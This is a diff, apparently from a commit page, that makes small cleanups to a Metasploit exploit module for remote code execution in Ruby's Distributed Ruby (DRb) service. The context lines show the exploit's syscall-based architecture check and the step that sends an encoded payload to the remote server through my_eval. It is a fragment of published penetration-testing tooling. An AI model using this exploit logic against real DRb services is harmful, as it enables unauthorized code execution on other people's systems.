@@ -10,8 +10,6 @@ class MetasploitModule < Msf::Exploit::Remote
10
10
11
11
Rank = ExcellentRanking
12
12
13
- include Msf ::Exploit ::FileDropper
14
-
15
13
def initialize ( info = { } )
16
14
super ( update_info ( info ,
17
15
'Name' => 'Distributed Ruby Remote Code Execution' ,
@@ -24,7 +22,7 @@ def initialize(info = {})
24
22
[
25
23
[ 'URL' , 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ] ,
26
24
[ 'URL' , 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ] ,
27
- [ 'URL' , 'http://bugkraut.de/posts/tainting' ]
25
+ [ 'URL' , 'http://bugkraut.de/posts/tainting' ]
28
26
] ,
29
27
'Privileged' => false ,
30
28
'Payload' =>
@@ -35,7 +33,7 @@ def initialize(info = {})
35
33
'Platform' => 'unix' ,
36
34
'Arch' => ARCH_CMD ,
37
35
'Targets' => [
38
- [ 'generic ' , { } ] ,
36
+ [ 'Automatic ' , { } ] ,
39
37
] ,
40
38
'DisclosureDate' => 'Mar 23 2011' ,
41
39
'DefaultTarget' => 0 ) )
@@ -59,17 +57,15 @@ class << p
59
57
# syscall to decide whether it's 64 or 32 bit:
60
58
# it's getpid on 32bit which will succeed, and writev on 64bit
61
59
# which will fail due to missing args
62
- pid = nil
63
60
begin
64
61
pid = p . send ( :syscall , 20 )
65
62
p . send ( :syscall , 37 , pid , 23 )
66
63
rescue Errno ::EBADF
67
64
# 64 bit system
68
65
pid = p . send ( :syscall , 39 )
69
- print_status "#{ pid } "
70
66
p . send ( :syscall , 62 , pid , 23 )
71
67
end
72
- p . send ( :my_eval , payload . encoded )
68
+ p . send ( :my_eval , payload . encoded )
73
69
end
74
70
75
71
end
0 commit comments